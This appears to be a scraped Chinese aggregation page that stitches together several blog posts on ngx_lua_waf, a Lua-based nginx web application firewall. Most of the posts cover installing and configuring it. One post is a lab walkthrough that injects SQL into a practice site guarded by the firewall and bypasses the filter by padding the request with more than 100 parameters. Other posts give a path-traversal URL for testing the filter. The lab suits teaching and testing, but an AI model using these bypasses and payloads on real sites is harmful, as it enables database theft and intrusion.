精华内容
下载资源
问答
  • ngx_lua_waf

    千次阅读 2014-07-29 19:23:20
    ngx_lua_waf是我刚入职趣游时候开发的一个基于ngx_lua的web应用防火墙。 代码很简单,开发初衷主要是使用简单,高性能和轻量级。 现在开源出来.其中包含我们的过滤规则。如果大家有什么建议和想fa,欢迎和我一起...

     

    ngx_lua_waf是我刚入职趣游时候开发的一个基于ngx_lua的web应用防火墙。

    代码很简单,开发初衷主要是使用简单,高性能和轻量级。

    现在开源出来.其中包含我们的过滤规则。如果大家有什么建议和想fa,欢迎和我一起完善。

     

    用途:

    防止sql注入,本地包含,部分溢出,fuzzing测试,xss,SSRF等web攻击
    防止svn/备份之类文件泄漏
    防止ApacheBench之类压力测试工具的攻击
    屏蔽常见的扫描黑客工具,扫描器
    屏蔽异常的网络请求
    屏蔽图片附件类目录php执行权限
    防止webshell上传
    

     

    推荐安装:

    请自行给nginx安装ngx_lua模块,需要lujit做lua支持

    请提前新建/data/logs/hack/目录攻击日志,并赋予nginx用户对该目录的写入权限。

    配置部分:

    编辑init.lua配置部分
    logpath='/data/logs/hack/'
    rulepath='/usr/local/nginx/conf/wafconf/'
    syslogserver='127.0.0.1'
    如果需要开启syslog传输,请取消掉log函数部分的注释
    filext是限制上传的文件后缀名
    
    在nginx.conf的http段添加
    init_by_lua_file  /usr/local/nginx/conf/init.lua; 
    access_by_lua_file /usr/local/nginx/conf/waf.lua;
    
    注意:第一次安装配置好需要重启nginx
    

     

    规则更新:

    考虑到正则的缓存问题,动态规则会影响性能,所以暂没用共享内存字典和redis之类东西做动态管理。

    规则更新可以把规则文件放置到其他服务器,通过crontab任务定时下载来更新规则,nginx reload即可生效。以保障ngx lua waf的高性能。

    只记录过滤日志,不开启过滤,在代码里在check前面加上--注释即可,如果需要过滤,反之

     

    一些说明:

    过滤规则在wafconf下,可根据需求自行调整,每条规则需换行,或者用|分割
    
        global是全局过滤文件,里面的规则对post和get都过滤     
        get是只在get请求过滤的规则        
        post是只在post请求过滤的规则      
        whitelist是白名单,里面的url匹配到不做过滤       
        user-agent是对user-agent的过滤规则
    
    
    默认开启了get和post过滤,需要开启cookie过滤的,编辑waf.lua取消部分--注释即可
    
    日志文件名称格式如下:虚拟主机名_sec.log
    

     

     

    关于:

    欢迎大家到http://bbs.linuxtone.org 多多交流

    weibo: @ppla

    感谢ngx_lua模块的开发者@agentzh,春哥是我所接触过开源精神最好的人

     

    开源地址:https://github.com/aloasut/ngx_lua_waf

     

    展开全文
  • Nginx安装ngx_lua_waf

    千次阅读 2019-05-17 10:31:13
    ngx_lua_waf改版基于ngx_lua_waf二次修改,增加了一些必要的功能,使用起来简单,高性能和轻量级。 主要功能如下: ♦防止sql注入,本地包含,部分溢出,fuzzing测试,xss,SSRF等web攻击 ♦防止sv...

    ngx_lua_waf改版,增加网段、UA、主机白名单等功能,修复了一些bug,项目地址:https://github.com/whsir/ngx_lua_waf

    ngx_lua_waf改版基于ngx_lua_waf二次修改,增加了一些必要的功能,使用起来简单,高性能和轻量级。

    主要功能如下:

    ♦防止sql注入,本地包含,部分溢出,fuzzing测试,xss,SSRF等web攻击
    ♦防止svn/备份之类文件泄漏
    ♦防止ApacheBench之类压力测试工具的攻击
    ♦屏蔽常见的扫描黑客工具,扫描器
    ♦屏蔽异常的网络请求
    ♦屏蔽图片附件类目录php执行权限
    ♦防止webshell上传
    ♦可以根据ip、网段、server_name、User-Agent做白名单

    本文基于Centos7.x系统,关闭selinux,关闭防火墙(或自行设置规则)

    想要使用ngx_lua_waf改版,首先要编译Nginx增加lua模块。

    配置方法如下

    1、安装所需依赖

     

    1

    yum install wget gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel

    2、下载ngx_devel_kit

     

    1

    2

    3

    cd /usr/local/src

    wget https://github.com/simplresty/ngx_devel_kit/archive/v0.3.1rc1.tar.gz

    tar xf v0.3.1rc1.tar.gz

    3、下载lua-nginx-module

     

    1

    2

    wget https://github.com/openresty/lua-nginx-module/archive/v0.10.14.tar.gz

    tar xf v0.10.14.tar.gz

    4、安装luajit

     

    1

    2

    3

    4

    wget https://github.com/openresty/luajit2/archive/v2.1-20190329.tar.gz

    cd luajit2-2.1-20190329

    make

    make install

    5、导入环境变量

     

    1

    2

    export LUAJIT_LIB=/usr/local/lib

    export LUAJIT_INC=/usr/local/include/luajit-2.1

    6、编译nginx模块

     

    1

    2

    3

    4

    5

    6

    7

    8

    useradd -s /bin/false -M www

    cd /usr/local/src

    wget http://nginx.org/download/nginx-1.14.2.tar.gz

    tar xf nginx-1.14.2.tar.gz

    cd nginx-1.14.2

    ./configure --user=www --group=www --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module --with-http_v2_module --with-http_gzip_static_module --with-http_sub_module --add-module=/usr/local/src/ngx_devel_kit-0.3.1rc1 --add-module=/usr/local/src/lua-nginx-module-0.10.14 --with-ld-opt=-Wl,-rpath,$LUAJIT_LIB

    make

    make install

    7、设置Nginx启动服务

     

    1

    2

    3

    4

    5

    6

    ln -sv /usr/local/nginx/sbin/nginx /usr/local/sbin/

    wget -P /etc/init.d/ http://down.whsir.com/downloads/nginx

    chmod +x /etc/init.d/nginx

    chkconfig --add nginx

    chkconfig nginx on

    /etc/init.d/nginx start

    8、下载ngx_lua_waf改版

     

    1

    2

    3

    4

    cd /usr/local/nginx/conf

    wget https://github.com/whsir/ngx_lua_waf/archive/v1.0.3.tar.gz

    tar xf v1.0.3.tar.gz

    mv ngx_lua_waf-1.0.3/ waf

    9、在nginx.conf的http字段内添加以下内容

     

    1

    2

    3

    4

    lua_package_path "/usr/local/nginx/conf/waf/?.lua";

    lua_shared_dict limit 10m;

    init_by_lua_file  /usr/local/nginx/conf/waf/init.lua;

    access_by_lua_file /usr/local/nginx/conf/waf/waf.lua;

    10、最后重启nginx(reload也可以的)

     

    1

    /etc/init.d/nginx restart

    11、验证

    访问http://域名或IP地址/index.php?id=../etc/passwd

    例如:http://192.168.157.132/index.php?id=../etc/passwd

    看到503 Service Temporarily Unavailable则表示配置成功

     

    config.lua配置文件说明

     

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

    31

    32

    33

    34

        RulePath = "/usr/local/nginx/conf/waf/wafconf/"

        --规则存放目录

        attacklog = "off"

        --是否开启攻击信息记录,需要配置logdir

        logdir = "/usr/local/nginx/logs/hack/"

        --log存储目录,该目录需要用户自己新建,切需要nginx用户的可写权限

        UrlDeny="on"

        --是否拦截url访问(如果你用了phpmyadmin,开启此项会有问题)

        Redirect="on"

        --是否拦截后重定向

        CookieMatch = "on"

        --是否拦截cookie攻击

        postMatch = "on"

        --是否拦截post攻击(可能会导致上传功能异常)

        whiteModule="off"

        --是否开启URL白名单

        whiteHostModule="off"

        --是否开启server_name白名单

        black_fileExt={"php","jsp"}

        --填写不允许上传文件后缀类型

        ipWhitelist={"127.0.0.1","172.16.1.0-172.16.1.255"}

        --ip白名单,多个ip用逗号分隔

        ipBlocklist={"1.0.0.1","2.0.0.0-2.0.0.255"}

        --ip黑名单,多个ip用逗号分隔

        hostWhiteList = {"blog.whsir.com","down.whsir.com"}

        --server_name白名单,多个用逗号分隔

        CCDeny="off"

        --是否开启拦截cc攻击

        CCrate = "100/60"

        --设置cc攻击频率,单位为秒.

        --默认1分钟同一个IP只能请求同一个地址100次

        html=[[~~]]

        --警告内容,可在中括号内自定义

        备注:不要乱动双引号,区分大小写

    展开全文
  • ngx_lua_waf是一个基于lua-nginx-module(openresty)的web应用防火墙 ,代码很简单,开发初衷主要 是使用简单,高性能和轻量级 实验目的 1. 掌握sql注入绕过ngx_lua_waf的方法与技巧 2. 了解 ngx_lua_waf 过滤...

    实验介绍

    ngx_lua_waf是一个基于lua-nginx-module(openresty)的web应用防火墙 ,代码很简单,开发初衷主要 是使用简单,高性能和轻量级

     

    实验目的

    1. 掌握sql注入绕过ngx_lua_waf的方法与技巧

    2. 了解 ngx_lua_waf 过滤方式

     

    靶场环境

    LNMP一键安装包+ngx_lua_waf

    sqli-labs-master靶场+waf

     

    实验步骤

     

    第一步:

    我们先来判断注入点

    1' and 1=1 --+       不拦截

    1' and 1=2 --+       不拦截

     

    第二步:

    既然不拦截,我们再来看看order by

    1' order by 3 --+          不拦截

    order by 都不拦截,这个waf有点不行啊

     

     

    第三步:

    既然order by 都不拦截,再来看看select

    -1' union select 1,2,3 --+     拦截

     

     

     

    第四步:

    select终于拦截了,我们来尝试绕过

    -1' /*!union/**/select*/ 1,2,3 --+         拦截

    -1' /*!50000/*!union/**/select*/*/ 1,2,3 --+            拦截

    看来这些都无法绕过看来我们要换一种方式了

    ngx_lua_waf默认情况下,通过ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数,只能获取前100个参数,当提交第 101个参数时,uri参数溢出,无法正确获取第100以后的参数值,基于ngx_lua开发的安全防护,无法对攻击者提交 的第100个以后的参数进行有效安全检测,从而绕过安全防御。

     

     

    第五步:

    既然知道了,我们再来添加参数来绕过把

    1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=-1' union select 1,2,3 --+                       

    不拦截

    PS:在最后一个参数加上闭合

     

     

    第六步:

    爆数据库名

    database()都不拦了,看来他是对100个参数以后的不拦截了,看来后面的注入就和普通的联合注入是一样的了

     

     

    第七步:

    使用联合查询爆出来了表

    既然后面的和联合查询一样,这里就不爆出所有内容了

     

     

    展开全文
  • nginx安装ngx_lua_waf防护

    2018-03-22 18:30:11
    ngx_lua_waf基于ngx_lua的web应用防火墙,使用起来简单,高性能和轻量级。 防止sql注入,本地包含,部分溢出,fuzzing测试,xss,SSRF等web攻击防止svn/备份之类文件泄漏防止ApacheBench之类压力测试工具的攻击屏蔽...

    ngx_lua_waf基于ngx_lua的web应用防火墙,使用起来简单,高性能和轻量级。

    防止sql注入,本地包含,部分溢出,fuzzing测试,xss,SSRF等web攻击
    防止svn/备份之类文件泄漏
    防止ApacheBench之类压力测试工具的攻击
    屏蔽常见的扫描黑客工具,扫描器
    屏蔽异常的网络请求
    屏蔽图片附件类目录php执行权限
    防止webshell上传

    配置方法如下,nginx编译安装可参考https://blog.whsir.com/post-2134.html

    1、下载ngx_devel_kit

    cd /usr/local/src
    wget https://github.com/simpl/ngx_devel_kit/archive/v0.3.0.tar.gz
    tar zxf v0.3.0.tar.gz

    2、下载lua-nginx-module
    wget https://github.com/openresty/lua-nginx-module/archive/v0.10.11.tar.gz
    tar zxf v0.10.11.tar.gz

    3、安装luajit
    wget http://luajit.org/download/LuaJIT-2.0.5.tar.gz
    tar zxf LuaJIT-2.0.5.tar.gz
    cd LuaJIT-2.0.5
    make
    make install

    4、导入环境变量
    export LUAJIT_LIB=/usr/local/lib
    export LUAJIT_INC=/usr/local/include/luajit-2.0

    5、编译nginx模块(注意增加模块不需要make install)
    cd /usr/local/src/nginx-1.12.2
    ./configure --add-module=/usr/local/src/ngx_devel_kit-0.3.0 --add-module=/usr/local/src/lua-nginx-module-0.10.11 --with-ld-opt=-Wl,-rpath,$LUAJIT_LIB
    make
    mv /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak
    cp objs/nginx /usr/local/nginx/sbin/
    systemctl reload nginx

    PS:如果报错
    nginx: error while loading shared libraries: libluajit-5.1.so.2: cannot open shared object file: No such file or directory
    解决方法:
    ln -s /usr/local/lib/libluajit-5.1.so.2 /lib64/libluajit-5.1.so.2

    6、下载ngx_lua_waf
    cd /usr/local/nginx/conf
    wget https://github.com/loveshell/ngx_lua_waf/archive/v0.7.2.tar.gz
    tar zxf v0.7.2.tar.gz
    mv ngx_lua_waf-0.7.2 waf

    7、在nginx.conf的http字段内添加以下内容
    lua_package_path "/usr/local/nginx/conf/waf/?.lua";
    lua_shared_dict limit 10m;
    init_by_lua_file /usr/local/nginx/conf/waf/init.lua;
    access_by_lua_file /usr/local/nginx/conf/waf/waf.lua;

    8、最后重启nginx(reload也可以的)
    systemctl restart nginx

    9、验证(看到如下图即表示配置成功)

    http://域名或IP地址/index.php?id=../etc/passwd

    例如:http://192.168.157.132/index.php?id=../etc/passwd


    config.lua配置文件说明

    RulePath = "/usr/local/nginx/conf/waf/wafconf/"
    --规则存放目录
    attacklog = "off"
    --是否开启攻击信息记录,需要配置logdir
    logdir = "/usr/local/nginx/logs/hack/"
    --log存储目录,该目录需要用户自己新建,切需要nginx用户的可写权限
    UrlDeny="on"
    --是否拦截url访问(如果你用了phpmyadmin,开启此项会有问题)
    Redirect="on"
    --是否拦截后重定向
    CookieMatch = "on"
    --是否拦截cookie攻击
    postMatch = "on"
    --是否拦截post攻击(如果开启,可能会导致网站后台无法正常上传文件)
    whiteModule = "on"
    --是否开启URL白名单
    black_fileExt={"php","jsp"}
    --填写不允许上传文件后缀类型
    ipWhitelist={"127.0.0.1"}
    --ip白名单,多个ip用逗号分隔
    ipBlocklist={"1.0.0.1"}
    --ip黑名单,多个ip用逗号分隔
    CCDeny="on"
    --是否开启拦截cc攻击(需要nginx.conf的http段增加lua_shared_dict limit 10m;)
    CCrate = "100/60"
    --设置cc攻击频率,单位为秒.
    --默认1分钟同一个IP只能请求同一个地址100次
    html=[[Please go away~~]]
    --警告内容,可在中括号内自定义
    备注:不要乱动双引号,区分大小写

    展开全文
  • ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能、轻量级。默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(from|limit) (?:(union(.*?)select)) (?:from\W+...
  • ngx_lua_waf是一款开源的 基于 ngx_lua的 web应用防火墙 github地址是 https://github.com/loveshell/ngx_lua_waf 安装流程如下 1 安装 lua 环境 wget http://luajit.org/download/LuaJIT-2.0...
  • ngx_lua_waf针对性改写

    2015-04-06 17:57:22
    当初选择ngx_lua_waf作为自己的WAF,主要原因就是因为其可扩展性与性能上有一个很好的平衡。 lua语言的灵活性与效率是很多WAF无可匹及的。 ngx_lua...
  • 参考:http://www.ttlsa.com/nginx/nginx-modules-ngx_lua/ https://github.com/loveshell/ngx_lua_waf 1、安装 LuaJIT2、安装nginx3、 安装ngx_lua模块4、 安装ngx_lua_waf模块。1、 安装LuaJITwgethttp://luajit....
  • ELK分析ngx_lua_waf软件防火墙日志ngx_lua_waf介绍及部署可以参考https://github.com/loveshell/ngx_lua_waf 这个一个基于lua-nginx-module的web应用防火墙,作者是张会源(ID : kindle),微博:@神奇的魔法师。...
  • ngx_lua_waf是我刚入职趣游时候开发的一个基于ngx_lua的web应用防火墙。 代码很简单,开发初衷主要是使用简单,高性能和轻量级。 现在开源出来,遵从MIT许可协议。其中包含我们的过滤规则。如果...
  • ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能、轻量级。默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(from|limit) (?:(union(.*?)select)) (?:from\W+...
  • 测试环境:centos5.6 x32,nginx1.4.4,LuaJIT-2.0.3,ngx_devel_kit-0.2.19、lua-nginx-module-0.9.11,ngx_lua_waf 1、安装nginx_lua_module模块 mkdir /data/soft 上传nginx1.4.4,LuaJIT-2.0.3,ngx_devel_...
  • 前言ngx_lua_waf是一个基于lua-nginx-module(openresty)的web应用防火墙github地址:https://github.com/loveshell/ngx_lua_waf1,用途:防止sql注入,本地包含,部分溢出,fuzzing测试,xss,×××F等web***防止svn...
  • kindle的ngx_lua_waf

    千次阅读 2013-03-23 16:52:52
    https://github.com/loveshell/ngx_lua_waf
  • http://blog.chinaunix.net/uid-1728743-id-3546152.htmlhttps://github.com/loveshell/ngx_lua_wafngx_lua_waf 安装说明文档作者github地址:https://github.com/loveshell/ngx_lua_waf转自作者说明文档:ngx_lua_waf...
  • ngx_lua_waf利用HPP完全绕过防御机制

    千次阅读 2016-02-26 18:44:39
    漏洞标题: ngx_lua_waf利用HPP完全绕过防御机制  相关厂商: ngx_lua_waf 漏洞作者: phith0n 提交时间: 2015-03-31 11:12 公开时间: 2015-06-30 13:50 漏洞类型: 设计缺陷/逻辑错误 危
  • ngx_lua_waf做nginx层的安全防护

    千次阅读 2015-06-05 10:41:39
    ngx_lua_waf是我一个基于ngx_lua的web应用防火墙。 代码很简单,开发初衷主要是使用简单,高性能和轻量级。 现在开源出来.其中包含我们的过滤规则。如果大家有什么建议和想fa,欢迎和我一起完
  • 使用ngx_lua_waf构建web应用防火墙

    千次阅读 2018-06-04 11:07:06
    使用ngx_lua_waf构建web应用防火墙:**用途介绍** 防止sql注入,本地包含,部分溢出,fuzzing测试,xss,SSRF等web攻击 防止svn/备份之类文件泄漏 防止ApacheBench之类压力测试工具的攻击 屏蔽常见的扫描黑客工具,...
  • OpenResty部署ngx_lua_waf

    2019-06-14 11:20:04
    OpenResty部署ngx_lua_wafOpenResty部署安装依赖包下载并编译安装openresty测试openresty安装启动WAF部署配置文件详细说明检查规则是否生效 OpenResty部署 安装依赖包 yum install -y readline-devel pcre-devel ...
  • 目前,我们常用的无面板或者有面板的Linux Web环境在建站功能上已经是比较成熟和自动化,而且有几款工具还能保持较新的软件更新...笔者有看到LNMP一键包官方从1.5版本开始也有提供ngx_lua_waf/WAF功能,但是需要我们...
  • 当我们需要为Nginx新增模块时,就遇到了麻烦,以笔者遇到的问题为例- 本人使用的是云服务器,上面有yum安装好的Nginx-1.12.2,当前的项目需要防止CC攻击,遂决定为Nginx添加ngx_lua_waf防护,添加此防护需要为Nginx...
  • zhangsan · 2015/04/30 8:000x00 前言在前一篇文章《基于ngx_lua模块的waf开发实践》(链接为:http://drops.wooyun.org/tips/5136)中,提出了后续的三个研究方向,其中一个就是在多站点下waf分离的研究,现在将这...
  • 用途: 防止sql注入,本地包含,部分溢出,fuzzing测试,xss,×××F等web*** 防止svn/备份之类文件泄漏 防止ApacheBench之类压力测试工具的*** ...1.下载并解压luajit 2.0.5wget http://luajit.org/download/Lua...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 724
精华内容 289
关键字:

ngx_lua_waf